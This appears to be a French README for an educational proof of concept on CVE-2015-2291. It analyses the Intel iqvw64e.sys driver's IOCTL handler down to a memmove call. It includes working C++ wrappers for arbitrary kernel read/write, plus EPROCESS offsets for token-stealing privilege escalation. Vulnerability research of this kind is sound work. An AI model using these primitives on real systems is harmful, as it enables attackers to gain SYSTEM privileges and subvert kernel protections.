
CVE-2015-2291 Local Privilege Escalation PoC
CVE-2015-2291 Preuve de concept d'élévation de privilèges locale

Ce projet est une preuve de concept éducative pour une vulnérabilité d'élévation de privilèges locale (LPE) dans le pilote iqvw64e.sys (SHA256 : 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — le pilote de diagnostic Ethernet Intel associé à CVE-2015-2291.
Après avoir vu le pilote exploité dans des chargeurs en mode noyau comme KDMapper, j'ai voulu le désassembler moi-même pour comprendre comment fonctionne la routine de gestion des IOCTL, quels types de fonctions il expose en mode utilisateur, et comment un attaquant pourrait les découvrir ou les exploiter. Ce document décrit le processus, de l'analyse statique à la construction de primitives mémoire à l'aide de DeviceIoControl, et finalement à la création d'une exploitation qui utilise ces primitives pour remplacer le jeton d'accès du processus en cours par celui du processus SYSTEM, ce qui élève efficacement le processus aux privilèges SYSTEM.
Sous Windows, chaque processus est associé à un jeton d'accès qui définit son identité et ses privilèges. En obtenant une lecture/écriture arbitraire du noyau, il devient possible de modifier le pointeur de jeton stocké dans la structure du processus noyau. Remplacer ce pointeur par celui du processus SYSTEM amène le système d'exploitation à associer le processus en cours au contexte de sécurité de SYSTEM, lui conférant ainsi tous les privilèges. Apprenez-en plus ici.
Le pilote enregistre une routine de répartition pour IRP_MJ_DEVICE_CONTROL, qui gère les appels DeviceIoControl depuis le mode utilisateur. Comme illustré ci-dessous, elle mène à sub_11150 qui dirige le flux d'exécution en fonction du code de contrôle d'E/S d'entrée. Dans ce cas, nous nous intéressons à 0x80862007, qui nous amène à loc_111C2.

En suivant le flux d'exécution via loc_111C2, nous atteignons sub_113C0. Cette fonction reçoit un tampon d'entrée (a1) et utilise le premier QWORD de ce tampon comme index dans une table de saut de fonctions de gestion internes. Ici, le pilote effectue les opérations suivantes :
Lit a1 → premier QWORD (0x0) → jump_table_index
Effectue une sélection basée sur cet index
Distribue vers la fonction interne correspondante
Utilise les champs restants de a1 comme arguments
Nous savons maintenant que le tampon d'entrée contrôle à la fois la cible de distribution et ses paramètres. Nous allons définir plus en détail la structure du tampon d'entrée au fur et à mesure de l'analyse.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — utilisé comme sélecteur de distribution
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmoveEn analysant les cas de la table de saut, j'ai cherché des gestionnaires ressemblant à memmove ou memcpy. Pour le cas 0x33, le pilote appelle sub_11EA0, en passant trois champs du tampon d'entrée. Cela ressemble fortement à une copie mémoire :

En ouvrant sub_11EA0, nous trouvons la signature attendue :
void* memmove( void* dest, const void* src, std::size_t count );
Le désassemblage confirme que :
L'argument a1 = destination
L'argument a2 = source
L'argument a3 = length

Avec ces informations, nous pouvons désormais reconstruire complètement la disposition du tampon d'entrée prévue pour l'appel à memmove :
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
Nous comprenons maintenant qu'en envoyant un MEMMOVE_INPUT_BUFFER valide au pilote, avec :
jump_table_index = 0x33
source, destination et length définis selon les besoins
Nous pouvons demander au pilote d'appeler memmove sur des adresses arbitraires, ce qui nous donne des capacités complètes de lecture/écriture dans la mémoire noyau depuis le mode utilisateur.
Voici les wrappers en mode utilisateur construits autour de cette primitive :
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //index de la table de saut pour memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
Ces assistants permettent des lectures et écritures arbitraires 64 bits dans la mémoire virtuelle du noyau. À partir de là, diverses attaques deviennent possibles (comme le vol de jeton EPROCESS), mais ce document se concentre sur la reconstruction et l'analyse. Vous trouverez dans main.cpp une exploitation de démonstration du vol de jeton EPROCESS, gracieuseté de Eap2468 CVE-2021-2155
Version de Windows : 10 x64 22H2 (19045.6466)
Offsets EPROCESS :
UniqueProcessId : 0x440ActiveProcessLinks : 0x448Token : 0x4b8Pilote : iqvw64e.sys (Le binaire du pilote a été inclus dans le dépôt pour votre commodité)
SHA256 : 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
